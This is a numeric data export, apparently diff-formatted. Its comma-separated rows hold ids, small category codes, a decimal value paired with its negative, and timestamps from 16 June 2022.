+8957,4,5819,6.645519993,-6.645519993,2022-06-16 10:02:23.605131+00 +26374,2,9264,1.567583044,0,2022-06-16 11:51:04.473794+00 +8988,6,5869,8.61063156,-8.61063156,2022-06-16 10:02:51.445701+00 +39596,1,11379,13.39994279,-13.39994279,2022-06-16 12:56:53.489474+00 +15289,3,7341,13.0567682,-13.0567682,2022-06-16 10:51:35.538202+00 +12859,2,6565,20.21658566,-20.21658566,2022-06-16 10:34:14.433159+00 +9035,2,5878,16.28694689,-16.28694689,2022-06-16 10:03:04.836596+00 +9036,2,5879,16.39296112,-16.39296112,2022-06-16 10:03:04.839823+00 +11843,7,6538,14.08867003,-14.08867003,2022-06-16 10:27:25.361041+00 +9050,2,5803,10.53316772,-10.53316772,2022-06-16 10:03:14.423738+00 +9946,7,5866,14.70040929,-14.70040929,2022-06-16 10:12:46.179542+00 +12860,2,6629,20.13343816,-20.13343816,2022-06-16 10:34:14.436563+00 +12861,2,6693,20.05048863,-20.05048863,2022-06-16 10:34:14.437404+00 +9086,6,5933,8.540335198,-8.540335198,2022-06-16 10:04:04.173625+00 +9987,2,6128,4.050709571,-4.050709571,2022-06-16 10:13:04.45577+00 +12862,2,6757,19.96774134,-19.96774134,2022-06-16 10:34:14.438175+00 +10875,2,6381,11.88962646,-11.88962646,2022-06-16 10:20:24.413388+00 +16694,2,7659,8.536059977,-8.536059977,2022-06-16 11:01:14.444696+00 +9122,6,5888,6.50275306,-6.50275306,2022-06-16 10:04:05.253699+00 +10909,6,6431,14.37043118,-14.37043118,2022-06-16 10:20:35.361331+00 +9138,3,5872,7.887024935,-7.887024935,2022-06-16 10:04:08.564756+00 +9144,4,5792,6.993914817,-6.993914817,2022-06-16 10:04:09.692389+00 +10920,2,6442,12.15484673,-12.15484673,2022-06-16 10:20:41.804626+00 +9156,1,5673,16.53571714,-16.53571714,2022-06-16 10:04:16.522353+00 +9157,1,5657,16.49710335,-16.49710335,2022-06-16 10:04:16.523603+00 +9158,1,5689,16.45901452,-16.45901452,2022-06-16 10:04:16.524369+00 +9159,4,5883,6.586793188,-6.586793188,2022-06-16 10:04:21.457042+00 +9160,4,5867,6.739342446,-6.739342446,2022-06-16 10:04:21.460455+00 +12891,1,6903,12.63917019,-12.63917019,2022-06-16 10:34:22.718996+00 +12892,1,6894,12.51864659,-12.51864659,2022-06-16 10:34:22.72219+00 +10066,7,5880,26.77681844,-26.77681844,2022-06-16 10:13:37.076654+00 +9194,2,5888,6.86156728,-6.86156728,2022-06-16 10:05:04.563505+00 +10067,7,5944,26.6737719,-26.6737719,2022-06-16 10:13:37.080263+00 +10068,7,6008,26.57035076,-26.57035076,2022-06-16 10:13:37.081113+00 +9210,2,5919,15.04997014,-15.04997014,2022-06-16 10:05:04.917424+00 +10069,7,6072,26.46656721,-26.46656721,2022-06-16 10:13:37.08197+00 +9218,2,5927,18.02893923,-18.02893923,2022-06-16 10:05:05.083721+00 +10070,7,6136,26.36243354,-26.36243354,2022-06-16 10:13:37.082768+00 +10071,7,6200,26.25796222,-26.25796222,2022-06-16 10:13:37.08352+00 +9232,2,5883,10.16709822,-10.16709822,2022-06-16 10:05:14.543266+00 +9238,7,5898,14.96507935,-14.96507935,2022-06-16 10:05:16.021358+00 +12893,1,6824,19.84984392,-19.84984392,2022-06-16 10:34:22.723053+00 +12894,1,6878,9.659932049,-9.659932049,2022-06-16 10:34:22.723872+00 +10101,6,6238,14.61194888,-14.61194888,2022-06-16 10:14:09.111895+00 +12895,1,6895,12.30297935,-12.30297935,2022-06-16 10:34:22.724643+00 +12896,1,6902,12.65543245,-12.65543245,2022-06-16 10:34:22.725401+00 +11974,2,6653,11.13256577,-11.13256577,2022-06-16 10:28:19.570254+00 +12897,1,6879,9.646405167,-9.646405167,2022-06-16 10:34:22.726188+00 +12005,6,6656,7.580730134,-7.580730134,2022-06-16 10:28:37.144345+00 +14071,1,7075,18.35909849,-18.35909849,2022-06-16 10:42:25.784393+00 +14072,1,7059,12.38540971,-12.38540971,2022-06-16 10:42:25.788177+00 +12947,1,6803,12.79960173,-12.79960173,2022-06-16 10:35:04.690872+00 +10183,6,6253,7.924718545,-7.924718545,2022-06-16 10:14:42.672966+00 +10190,2,6266,14.58956152,-14.58956152,2022-06-16 10:14:58.30481+00 +10198,3,6256,7.066174695,-7.066174695,2022-06-16 10:14:59.513759+00 +12948,1,6819,18.46427694,-18.46427694,2022-06-16 10:35:04.693828+00 +9329,4,5752,11.81967382,-11.81967382,2022-06-16 10:06:24.760998+00 +12073,6,6717,7.186549489,-7.186549489,2022-06-16 10:29:03.426327+00 +12083,2,6656,6.933558989,-6.933558989,2022-06-16 10:29:04.587798+00 +14101,3,7102,18.16223227,-18.16223227,2022-06-16 10:42:46.721714+00 +9348,6,5936,4.247645053,-4.247645053,2022-06-16 10:06:33.279785+00 +9366,1,5816,15.74262148,-15.74262148,2022-06-16 10:06:46.552689+00 +9367,1,5947,8.284549955,-8.284549955,2022-06-16 10:06:46.556022+00 +9368,1,5931,8.459419641,-8.459419641,2022-06-16 10:06:46.5569+00 +32271,2,10154,6.642285951,-6.642285951,2022-06-16 12:17:28.746185+00 +9378,2,5952,6.832115729,-6.832115729,2022-06-16 10:07:04.47934+00 +10249,1,6009,15.53674601,-15.53674601,2022-06-16 10:15:16.556982+00 +10250,1,5977,15.50192085,-15.50192085,2022-06-16 10:15:16.5604+00 +10251,1,5969,15.54309124,-15.54309124,2022-06-16 10:15:16.561291+00 +9389,2,5982,14.63038161,-14.63038161,2022-06-16 10:07:04.748333+00 +10252,1,5993,15.43219169,-15.43219169,2022-06-16 10:15:16.56217+00 +10253,1,6168,14.96596421,-14.96596421,2022-06-16 10:15:16.563112+00 +9395,2,5983,14.63306552,-14.63306552,2022-06-16 10:07:04.898825+00 +10254,1,5985,15.47443585,-15.47443585,2022-06-16 10:15:16.563961+00 +9398,2,6006,16.14556458,-16.14556458,2022-06-16 10:07:04.959708+00 +12106,2,6710,15.17188699,-15.17188699,2022-06-16 10:29:05.108257+00 +9401,2,6007,16.24228931,-16.24228931,2022-06-16 10:07:05.020252+00 +13003,2,6843,8.968769299,-8.968769299,2022-06-16 10:35:14.695828+00 +13020,7,6826,14.25836368,-14.25836368,2022-06-16 10:35:26.807976+00 +28131,6,9467,5.350966666,-5.350966666,2022-06-16 11:56:23.212605+00 +12137,2,6698,11.75007129,-11.75007129,2022-06-16 10:29:15.50225+00 +9412,2,5991,17.90463632,-17.90463632,2022-06-16 10:07:05.267863+00 +9414,4,5944,11.67466962,-11.67466962,2022-06-16 10:07:05.485265+00 +9415,2,6010,14.72162119,-14.72162119,2022-06-16 10:07:05.516174+00 +11128,4,6459,5.930062738,-5.930062738,2022-06-16 10:22:21.753177+00 +11142,1,6518,13.29003194,-13.29003194,2022-06-16 10:22:28.614523+00 +10303,1,6003,16.23093765,-16.23093765,2022-06-16 10:15:43.560524+00 +10304,1,6043,8.969497888,-8.969497888,2022-06-16 10:15:43.561352+00 +10305,1,6171,8.934344445,-8.934344445,2022-06-16 10:15:43.562132+00 +10306,1,6067,16.12755516,-16.12755516,2022-06-16 10:15:43.562943+00 +10307,1,6115,19.32191662,-19.32191662,2022-06-16 10:15:43.563729+00 +10308,1,5939,16.02190506,-16.02190506,2022-06-16 10:15:43.564385+00 +10309,1,5923,19.21651552,-19.21651552,2022-06-16 10:15:43.565052+00 +9425,6,5952,6.491529533,-6.491529533,2022-06-16 10:07:05.914956+00 +9426,2,5688,17.26872647,-17.26872647,2022-06-16 10:07:09.282289+00 +9427,2,5752,17.19586296,-17.19586296,2022-06-16 10:07:09.285675+00 +9428,2,5816,17.12329338,-17.12329338,2022-06-16 10:07:09.286576+00 +9429,2,5880,17.05101894,-17.05101894,2022-06-16 10:07:09.287413+00 +9430,2,5944,16.97904078,-16.97904078,2022-06-16 10:07:09.288214+00 +10310,1,6195,15.91710922,-15.91710922,2022-06-16 10:15:43.565735+00 +10311,1,5979,8.762903565,-8.762903565,2022-06-16 10:15:43.566419+00 +10312,1,5987,19.09427514,-19.09427514,2022-06-16 10:15:43.567081+00 +10313,1,5915,8.699419272,-8.699419272,2022-06-16 10:15:43.567717+00 +9435,2,5931,10.27028011,-10.27028011,2022-06-16 10:07:14.40048+00 +11143,1,6519,13.20976681,-13.20976681,2022-06-16 10:22:28.617817+00 +11144,1,6495,10.83795338,-10.83795338,2022-06-16 10:22:28.618684+00 +11145,1,6335,12.11805283,-12.11805283,2022-06-16 10:22:28.619471+00 +11146,1,6398,12.46511069,-12.46511069,2022-06-16 10:22:28.620248+00 +22542,6,8798,13.18149311,-13.18149311,2022-06-16 11:35:02.520256+00 +9702,4,6080,3.847581608,-3.847581608,2022-06-16 10:10:05.834682+00 +8790,4,5755,6.755900294,-6.755900294,2022-06-16 10:00:20.753533+00 +8791,4,5739,6.912413445,-6.912413445,2022-06-16 10:00:20.756951+00 +8527,6,5632,6.697411762,-6.697411762,2022-06-16 09:56:56.020721+00 +8528,7,5418,15.54806264,-15.54806264,2022-06-16 09:56:58.652082+00 +8529,4,5600,7.12712284,-7.12712284,2022-06-16 09:57:02.546431+00 +8817,6,5821,8.662914451,-8.662914451,2022-06-16 10:00:33.451374+00 +9703,4,6064,2.257998054,-2.257998054,2022-06-16 10:10:05.838426+00 +9704,4,6072,11.3268162,-11.3268162,2022-06-16 10:10:05.839574+00 +12682,2,6847,12.950943,-12.950943,2022-06-16 10:33:05.738716+00 +8534,2,5616,4.761699986,-4.761699986,2022-06-16 09:57:04.415209+00 +8886,2,5606,18.24857604,-18.24857604,2022-06-16 10:01:49.307496+00 +8887,2,5670,18.16441952,-18.16441952,2022-06-16 10:01:49.311128+00 +8888,2,5478,18.08059394,-18.08059394,2022-06-16 10:01:49.313011+00 +8889,2,5607,18.3482393,-18.3482393,2022-06-16 10:01:49.313815+00 +8539,2,5632,6.947363059,-6.947363059,2022-06-16 09:57:04.529699+00 +8890,2,5671,18.26376005,-18.26376005,2022-06-16 10:01:49.314759+00 +8891,2,5479,18.17960799,-18.17960799,2022-06-16 10:01:49.316596+00 +8905,1,5528,15.72294728,-15.72294728,2022-06-16 10:02:01.569325+00 +11637,6,6571,8.069220169,-8.069220169,2022-06-16 10:26:11.154211+00 +8544,2,5611,10.94355775,-10.94355775,2022-06-16 09:57:14.426416+00 +8935,4,5821,9.710437834,-9.710437834,2022-06-16 10:02:09.256495+00 +13858,2,7095,14.34689545,-14.34689545,2022-06-16 10:41:05.091243+00 +10674,2,6317,12.00178942,-12.00178942,2022-06-16 10:18:24.417431+00 +10705,2,6320,3.776342986,-3.776342986,2022-06-16 10:19:04.47844+00 +8549,2,5627,10.69886385,-10.69886385,2022-06-16 09:57:14.53268+00 +16537,4,7664,1.305638494,-1.305638494,2022-06-16 11:00:06.535803+00 +8551,1,5600,10.48077205,-10.48077205,2022-06-16 09:57:28.54361+00 +9022,2,5824,6.871364143,-6.871364143,2022-06-16 10:03:04.546139+00 +10726,2,6367,13.48835548,-13.48835548,2022-06-16 10:19:04.84637+00 +16538,4,7680,3.276213396,-3.276213396,2022-06-16 11:00:06.539811+00 +11738,2,6576,3.482309938,-3.482309938,2022-06-16 10:27:04.471346+00 +9920,6,6128,4.154503106,-4.154503106,2022-06-16 10:12:20.224654+00 +12758,6,6814,13.47335714,-13.47335714,2022-06-16 10:33:53.301001+00 +21026,2,8512,5.594255068,-5.594255068,2022-06-16 11:27:04.599188+00 +11779,2,6655,13.71602532,-13.71602532,2022-06-16 10:27:05.390814+00 +16589,1,7725,8.290275646,-8.290275646,2022-06-16 11:00:46.900297+00 +10827,4,6384,1.982632897,-1.982632897,2022-06-16 10:20:05.975668+00 +8562,3,5488,8.280734868,-8.280734868,2022-06-16 09:57:36.462631+00 +8563,3,5552,8.23322764,-8.23322764,2022-06-16 09:57:36.465943+00 +8564,3,5616,8.18607829,-8.18607829,2022-06-16 09:57:36.466909+00 +8565,3,5680,8.139283367,-8.139283367,2022-06-16 09:57:36.467695+00 +10828,4,6392,10.45094501,-10.45094501,2022-06-16 10:20:05.979762+00 +9131,6,5949,8.527726173,-8.527726173,2022-06-16 10:04:06.577121+00 +15239,2,7414,13.5689667,-13.5689667,2022-06-16 10:51:05.020908+00 +10859,6,6395,8.103673002,-8.103673002,2022-06-16 10:20:18.698244+00 +10038,2,6123,9.873179937,-9.873179937,2022-06-16 10:13:14.739796+00 +9161,4,5919,13.87523501,-13.87523501,2022-06-16 10:04:22.79808+00 +10878,1,6461,11.03629431,-11.03629431,2022-06-16 10:20:28.582606+00 +8573,7,5642,15.25134287,-15.25134287,2022-06-16 09:57:42.616332+00 +10879,1,6445,10.98088288,-10.98088288,2022-06-16 10:20:28.58392+00 +10072,7,6154,14.56029489,-14.56029489,2022-06-16 10:13:37.490146+00 +9196,2,5942,16.09669438,-16.09669438,2022-06-16 10:05:04.595271+00 +16590,1,7741,8.485735487,-8.485735487,2022-06-16 11:00:46.903737+00 +8578,6,5677,8.863995145,-8.863995145,2022-06-16 09:57:43.061734+00 +9204,2,5918,15.01372554,-15.01372554,2022-06-16 10:05:04.768934+00 +10898,6,6430,14.30321729,-14.30321729,2022-06-16 10:20:35.215922+00 +26320,6,9310,12.81704297,-12.81704297,2022-06-16 11:50:53.419279+00 +10911,6,6398,16.12044101,-16.12044101,2022-06-16 10:20:35.487808+00 +8583,6,5693,8.850301627,-8.850301627,2022-06-16 09:57:45.159959+00 +10912,6,6462,16.04145431,-16.04145431,2022-06-16 10:20:35.491685+00 +22589,2,8814,8.652922255,-8.652922255,2022-06-16 11:35:04.661785+00 +11859,3,6640,6.131403151,-6.131403151,2022-06-16 10:27:33.612997+00 +14073,4,6936,11.10329626,-11.10329626,2022-06-16 10:42:26.7757+00 +10946,2,6384,3.717508734,-3.717508734,2022-06-16 10:21:04.430296+00 +10176,1,6208,5.935086568,-5.935086568,2022-06-16 10:14:40.541244+00 +10177,1,6192,3.34093236,-3.34093236,2022-06-16 10:14:40.545079+00 +14102,1,7064,13.52603157,-13.52603157,2022-06-16 10:42:49.779113+00 +10191,1,6253,11.4322256,-11.4322256,2022-06-16 10:14:58.555823+00 +10192,1,6269,11.41126056,-11.41126056,2022-06-16 10:14:58.559237+00 +10957,2,6430,13.12749048,-13.12749048,2022-06-16 10:21:04.691858+00 +9296,6,5931,8.753019361,-8.753019361,2022-06-16 10:06:06.561469+00 +9301,6,5947,8.546943579,-8.546943579,2022-06-16 10:06:06.823976+00 +15314,6,7423,13.83036308,-13.83036308,2022-06-16 10:51:38.794307+00 +10970,2,6399,14.63354178,-14.63354178,2022-06-16 10:21:04.945116+00 +10971,2,6463,14.5640157,-14.5640157,2022-06-16 10:21:04.948328+00 +8600,4,5696,4.087930257,-4.087930257,2022-06-16 09:58:05.826801+00 +8601,4,5680,2.656878885,-2.656878885,2022-06-16 09:58:05.831954+00 +8602,4,5693,9.967665503,-9.967665503,2022-06-16 09:58:08.607496+00 +8603,4,5677,9.950983879,-9.950983879,2022-06-16 09:58:08.610933+00 +8604,1,5680,4.246924737,-4.246924737,2022-06-16 09:58:10.548589+00 +8605,1,5696,6.347317936,-6.347317936,2022-06-16 09:58:10.552538+00 +9330,1,5952,5.865042655,-5.865042655,2022-06-16 10:06:25.549243+00 +9331,1,5936,3.820578587,-3.820578587,2022-06-16 10:06:25.552671+00 +16665,2,7711,10.17538821,-10.17538821,2022-06-16 11:01:05.525763+00 +32129,1,10107,3.617728849,-3.617728849,2022-06-16 12:16:59.283976+00 +9342,2,5962,12.9942132,-12.9942132,2022-06-16 10:06:33.075564+00 +9345,4,5816,11.77838242,-11.77838242,2022-06-16 10:06:33.223675+00 +9349,1,6013,12.13867806,-12.13867806,2022-06-16 10:06:43.551129+00 +9350,1,5997,12.11299391,-12.11299391,2022-06-16 10:06:43.554463+00 +8614,7,5610,15.43770206,-15.43770206,2022-06-16 09:58:14.914001+00 +8615,4,5726,14.54980888,-14.54980888,2022-06-16 09:58:17.016532+00 +8616,4,5727,14.48539395,-14.48539395,2022-06-16 09:58:17.019783+00 +8617,7,5674,15.36358162,-15.36358162,2022-06-16 09:58:18.010639+00 +9369,2,5994,13.13961751,-13.13961751,2022-06-16 10:06:50.322919+00 +12986,2,6887,17.53381329,-17.53381329,2022-06-16 10:35:05.518864+00 +8620,4,5691,6.842753713,-6.842753713,2022-06-16 09:58:20.779764+00 +8621,4,5675,7.00124381,-7.00124381,2022-06-16 09:58:20.780996+00 +22633,2,8747,7.388236314,-7.388236314,2022-06-16 11:35:14.557131+00 +9383,2,5936,4.494407459,-4.494407459,2022-06-16 10:07:04.600695+00 +8624,6,5680,4.44942864,-4.44942864,2022-06-16 09:58:20.854491+00 +11010,4,6168,11.14553286,-11.14553286,2022-06-16 10:21:30.651357+00 +13004,1,6911,10.7229286,-10.7229286,2022-06-16 10:35:16.730147+00 +11975,4,6643,13.19662069,-13.19662069,2022-06-16 10:28:19.733079+00 +11976,4,6635,5.726285139,-5.726285139,2022-06-16 10:28:19.736509+00 +8629,6,5696,6.625690951,-6.625690951,2022-06-16 09:58:21.06722+00 +8630,7,5578,15.10635087,-15.10635087,2022-06-16 09:58:24.122699+00 +8631,1,5741,12.69776933,-12.69776933,2022-06-16 09:58:28.518868+00 +8632,1,5757,12.66986538,-12.66986538,2022-06-16 09:58:28.522393+00 +8633,2,5754,15.13985671,-15.13985671,2022-06-16 09:58:28.800245+00 +11977,4,6619,6.701509044,-6.701509044,2022-06-16 10:28:19.737397+00 +11978,4,6651,5.577976671,-5.577976671,2022-06-16 10:28:19.738258+00 +9403,2,6014,15.90188116,-15.90188116,2022-06-16 10:07:05.051748+00 +10314,1,6099,14.20894118,-14.20894118,2022-06-16 10:15:49.558956+00 +10315,1,6163,14.15000566,-14.15000566,2022-06-16 10:15:49.562207+00 +9408,2,5990,17.73889607,-17.73889607,2022-06-16 10:07:05.175165+00 +10316,1,5971,14.09137014,-14.09137014,2022-06-16 10:15:49.563407+00 +10317,1,6035,14.03303386,-14.03303386,2022-06-16 10:15:49.56421+00 +9413,4,5880,11.71546753,-11.71546753,2022-06-16 10:07:05.481611+00 +8643,2,5706,13.40493153,-13.40493153,2022-06-16 09:58:37.25373+00 +8644,1,5691,8.737645872,-8.737645872,2022-06-16 09:58:37.557907+00 +8645,1,5675,8.921132115,-8.921132115,2022-06-16 09:58:37.561263+00 +8646,1,5727,13.10132391,-13.10132391,2022-06-16 09:58:37.562078+00 +8647,1,5726,13.18262975,-13.18262975,2022-06-16 09:58:37.563008+00 +34415,1,10526,6.697175276,-6.697175276,2022-06-16 12:28:59.323612+00 +8768,6,5744,4.39254708,-4.39254708,2022-06-16 10:00:05.62042+00 +9705,4,6061,9.349553693,-9.349553693,2022-06-16 10:10:08.142965+00 +9706,4,6077,9.334318088,-9.334318088,2022-06-16 10:10:08.14645+00 +8652,6,5675,9.17047268,-9.17047268,2022-06-16 09:58:39.767357+00 +12684,2,6822,17.48162763,-17.48162763,2022-06-16 10:33:05.767327+00 +9760,3,6128,7.269772663,-7.269772663,2022-06-16 10:10:39.412099+00 +9783,2,6064,4.103583516,-4.103583516,2022-06-16 10:11:04.433725+00 +16539,4,7661,6.774507095,-6.774507095,2022-06-16 11:00:10.191591+00 +8657,6,5691,8.954636563,-8.954636563,2022-06-16 09:58:40.008608+00 +16540,4,7677,6.947301167,-6.947301167,2022-06-16 11:00:10.194884+00 +10675,1,6307,18.73357387,-18.73357387,2022-06-16 10:18:28.611901+00 +8936,1,5656,15.593547,-15.593547,2022-06-16 10:02:13.568198+00 +10676,1,6331,7.248080068,-7.248080068,2022-06-16 10:18:28.61516+00 +9857,7,5994,14.80319747,-14.80319747,2022-06-16 10:12:01.404833+00 +10677,1,6299,8.390703853,-8.390703853,2022-06-16 10:18:28.615992+00 +10678,1,6315,7.394443211,-7.394443211,2022-06-16 10:18:28.616754+00 +8665,2,5738,13.59150705,-13.59150705,2022-06-16 09:58:58.812112+00 +10679,1,6323,15.41302548,-15.41302548,2022-06-16 10:18:28.617494+00 +9039,2,5862,17.98806892,-17.98806892,2022-06-16 10:03:04.896794+00 +9948,6,6174,14.7217997,-14.7217997,2022-06-16 10:12:48.02269+00 +12737,1,6776,13.3397176,-13.3397176,2022-06-16 10:33:37.720378+00 +8670,2,5680,4.630600237,-4.630600237,2022-06-16 09:59:04.472785+00 +9962,6,6207,16.13958641,-16.13958641,2022-06-16 10:12:48.500828+00 +16541,4,7384,10.76495865,-10.76495865,2022-06-16 11:00:10.195703+00 +10748,6,6367,14.47664144,-14.47664144,2022-06-16 10:19:14.295292+00 +11762,2,6646,15.17781536,-15.17781536,2022-06-16 10:27:04.973246+00 +8675,2,5696,6.872897398,-6.872897398,2022-06-16 09:59:04.588339+00 +8676,2,5438,17.03758865,-17.03758865,2022-06-16 09:59:04.593118+00 +8677,2,5502,16.95506257,-16.95506257,2022-06-16 09:59:04.593944+00 +8678,2,5439,16.85463107,-16.85463107,2022-06-16 09:59:04.596084+00 +8679,2,5503,16.77252723,-16.77252723,2022-06-16 09:59:04.596914+00 +8680,2,5695,16.69082326,-16.69082326,2022-06-16 09:59:04.597682+00 +8681,2,5598,16.12437711,-16.12437711,2022-06-16 09:59:04.599415+00 +8682,2,5662,16.04507339,-16.04507339,2022-06-16 09:59:04.60006+00 +8683,2,5726,15.9661852,-15.9661852,2022-06-16 09:59:04.600678+00 +8684,2,5406,15.88771285,-15.88771285,2022-06-16 09:59:04.601666+00 +8685,2,5470,15.80965659,-15.80965659,2022-06-16 09:59:04.602275+00 +8686,2,5534,15.73201657,-15.73201657,2022-06-16 09:59:04.602979+00 +8687,2,5599,16.12209949,-16.12209949,2022-06-16 09:59:04.603602+00 +8688,2,5663,16.04282417,-16.04282417,2022-06-16 09:59:04.604196+00 +8689,2,5727,15.96396423,-15.96396423,2022-06-16 09:59:04.604819+00 +8690,2,5407,15.88551997,-15.88551997,2022-06-16 09:59:04.605756+00 +8691,2,5471,15.80749163,-15.80749163,2022-06-16 09:59:04.606357+00 +8692,2,5535,15.72987936,-15.72987936,2022-06-16 09:59:04.606979+00 +10005,2,6202,14.63901558,-14.63901558,2022-06-16 10:13:06.070872+00 +10016,6,6123,8.502753247,-8.502753247,2022-06-16 10:13:10.054906+00 +16542,4,7614,9.646961571,-9.646961571,2022-06-16 11:00:10.196541+00 +9132,4,5869,9.63225677,-9.63225677,2022-06-16 10:04:08.203412+00 +8697,2,5675,10.80459289,-10.80459289,2022-06-16 09:59:14.431204+00 +9133,4,5885,9.616171968,-9.616171968,2022-06-16 10:04:08.207735+00 +16543,4,7678,9.607498129,-9.607498129,2022-06-16 11:00:10.197267+00 +16544,4,7742,9.568270631,-9.568270631,2022-06-16 11:00:10.198006+00 +9162,2,5946,14.8645618,-14.8645618,2022-06-16 10:04:28.798289+00 +8702,2,5691,10.56266204,-10.56266204,2022-06-16 09:59:14.549661+00 +8703,1,5664,10.49571409,-10.49571409,2022-06-16 09:59:16.546343+00 +14016,6,7165,6.628097821,-6.628097821,2022-06-16 10:42:08.53181+00 +9178,6,5883,8.639732138,-8.639732138,2022-06-16 10:04:55.571954+00 +9189,2,5872,4.57402135,-4.57402135,2022-06-16 10:05:04.450029+00 +10829,4,6400,3.969598505,-3.969598505,2022-06-16 10:20:08.004944+00 +8708,6,5741,8.769284241,-8.769284241,2022-06-16 09:59:17.592716+00 +9198,2,5943,16.20202349,-16.20202349,2022-06-16 10:05:04.625761+00 +10073,7,6122,14.63007483,-14.63007483,2022-06-16 10:13:45.493834+00 +14031,4,7158,13.72956778,-13.72956778,2022-06-16 10:42:11.545416+00 +14032,4,7159,13.63639115,-13.63639115,2022-06-16 10:42:11.546684+00 +8713,6,5757,8.755895102,-8.755895102,2022-06-16 09:59:19.716069+00 +9221,2,5930,13.22528207,-13.22528207,2022-06-16 10:05:05.331576+00 +9227,2,5867,10.40066408,-10.40066408,2022-06-16 10:05:14.432796+00 +14033,4,7134,10.38074799,-10.38074799,2022-06-16 10:42:11.54754+00 +14034,4,7070,10.33624733,-10.33624733,2022-06-16 10:42:11.548379+00 +14035,4,7135,10.18145595,-10.18145595,2022-06-16 10:42:11.549116+00 +8719,3,5744,8.053920171,-8.053920171,2022-06-16 09:59:46.7833+00 +14036,4,7071,10.13823435,-10.13823435,2022-06-16 10:42:11.549945+00 +14037,4,7102,11.57262338,-11.57262338,2022-06-16 10:42:11.55079+00 +10159,6,6203,8.200846724,-8.200846724,2022-06-16 10:14:20.735883+00 +10170,2,6205,12.34994767,-12.34994767,2022-06-16 10:14:24.546227+00 +10178,2,6250,12.47777789,-12.47777789,2022-06-16 10:14:42.228371+00 +13005,1,6847,10.67922657,-10.67922657,2022-06-16 10:35:16.733515+00 +13006,1,6910,11.15526371,-11.15526371,2022-06-16 10:35:16.734384+00 +9290,4,5936,2.480041157,-2.480041157,2022-06-16 10:06:05.810526+00 +9291,4,5952,3.861344066,-3.861344066,2022-06-16 10:06:05.81981+00 +13007,1,6846,11.10927566,-11.10927566,2022-06-16 10:35:16.735179+00 +9302,1,5737,16.38165716,-16.38165716,2022-06-16 10:06:07.561449+00 +9303,1,5938,18.21086364,-18.21086364,2022-06-16 10:06:07.564946+00 +9304,1,5753,16.34405814,-16.34405814,2022-06-16 10:06:07.566028+00 +9305,1,5777,16.34510749,-16.34510749,2022-06-16 10:06:07.566986+00 +9306,1,5793,16.30716815,-16.30716815,2022-06-16 10:06:07.567849+00 +9307,1,5721,16.23052814,-16.23052814,2022-06-16 10:06:07.569297+00 +10208,2,6208,7.028990432,-7.028990432,2022-06-16 10:15:04.601887+00 +10983,2,6379,9.615386002,-9.615386002,2022-06-16 10:21:14.44815+00 +9319,4,5983,13.78168671,-13.78168671,2022-06-16 10:06:15.290935+00 +9320,4,6006,14.90327506,-14.90327506,2022-06-16 10:06:15.294202+00 +9325,3,5936,7.813856528,-7.813856528,2022-06-16 10:06:18.564592+00 +9326,3,6000,7.769094028,-7.769094028,2022-06-16 10:06:18.568125+00 +10217,2,6239,13.86734145,-13.86734145,2022-06-16 10:15:04.81217+00 +9336,6,5997,8.42987992,-8.42987992,2022-06-16 10:06:28.100148+00 +13021,1,6840,13.21774626,-13.21774626,2022-06-16 10:35:28.723817+00 +11979,1,6656,5.547070791,-5.547070791,2022-06-16 10:28:25.665221+00 +11980,1,6640,2.666096408,-2.666096408,2022-06-16 10:28:25.669263+00 +9351,6,5662,15.75810649,-15.75810649,2022-06-16 10:06:46.042792+00 +9352,6,5726,15.679429,-15.679429,2022-06-16 10:06:46.046237+00 +9353,6,5790,15.6011818,-15.6011818,2022-06-16 10:06:46.047075+00 +9354,6,5854,15.52336482,-15.52336482,2022-06-16 10:06:46.047846+00 +9355,6,5918,15.44597791,-15.44597791,2022-06-16 10:06:46.048618+00 +9356,6,5982,15.36902086,-15.36902086,2022-06-16 10:06:46.049374+00 +9357,6,5663,15.61838805,-15.61838805,2022-06-16 10:06:46.050517+00 +9358,6,5727,15.54062146,-15.54062146,2022-06-16 10:06:46.051213+00 +9359,6,5791,15.46328343,-15.46328343,2022-06-16 10:06:46.051845+00 +9360,6,5855,15.38637375,-15.38637375,2022-06-16 10:06:46.052475+00 +9361,6,5919,15.30989215,-15.30989215,2022-06-16 10:06:46.053117+00 +9362,6,5983,15.23383829,-15.23383829,2022-06-16 10:06:46.053759+00 +9370,1,5982,12.21171468,-12.21171468,2022-06-16 10:06:52.55012+00 +9371,1,6006,13.6668499,-13.6668499,2022-06-16 10:06:52.553411+00 +9372,1,6007,13.69885229,-13.69885229,2022-06-16 10:06:52.554246+00 +9373,1,5983,12.10425177,-12.10425177,2022-06-16 10:06:52.555033+00 +9440,2,5947,10.0394405,-10.0394405,2022-06-16 10:07:14.511439+00 +9682,6,6077,8.30398852,-8.30398852,2022-06-16 10:09:58.836833+00 +34416,1,10518,15.03742884,-15.03742884,2022-06-16 12:28:59.326857+00 +9732,6,6047,14.977428,-14.977428,2022-06-16 10:10:16.681714+00 +9762,1,5849,15.89614116,-15.89614116,2022-06-16 10:10:43.52782+00 +9763,1,5865,15.85973698,-15.85973698,2022-06-16 10:10:43.531343+00 +9764,1,5881,15.82393779,-15.82393779,2022-06-16 10:10:43.532238+00 +12686,2,6823,17.61728569,-17.61728569,2022-06-16 10:33:05.794606+00 +9448,7,5680,12.68062802,-12.68062802,2022-06-16 10:07:16.847797+00 +9449,7,5744,12.57071383,-12.57071383,2022-06-16 10:07:16.850742+00 +9450,7,5808,12.46185195,-12.46185195,2022-06-16 10:07:16.85158+00 +9451,7,5872,12.35403194,-12.35403194,2022-06-16 10:07:16.852369+00 +9452,7,5936,12.24724331,-12.24724331,2022-06-16 10:07:16.853102+00 +9453,7,6000,12.14147552,-12.14147552,2022-06-16 10:07:16.853826+00 +10632,6,6320,4.132074095,-4.132074095,2022-06-16 10:18:10.613096+00 +16545,4,7679,9.365366521,-9.365366521,2022-06-16 11:00:10.198826+00 +10655,6,6381,7.737981786,-7.737981786,2022-06-16 10:18:17.09974+00 +10680,1,6291,13.6795551,-13.6795551,2022-06-16 10:18:34.607399+00 +16546,4,7743,9.327566887,-9.327566887,2022-06-16 11:00:10.199504+00 +10729,2,6390,15.73143025,-15.73143025,2022-06-16 10:19:04.904949+00 +11706,6,6637,7.311056145,-7.311056145,2022-06-16 10:26:39.497451+00 +13918,3,7088,5.310761098,-5.310761098,2022-06-16 10:41:30.588818+00 +15162,6,7421,6.276205677,-6.276205677,2022-06-16 10:50:28.960076+00 +16547,4,7646,9.92211517,-9.92211517,2022-06-16 11:00:10.200132+00 +16548,4,7711,9.733862525,-9.733862525,2022-06-16 11:00:10.20079+00 +10006,4,5912,11.31092486,-11.31092486,2022-06-16 10:13:07.202543+00 +16549,4,7734,12.35603108,-12.35603108,2022-06-16 11:00:10.201439+00 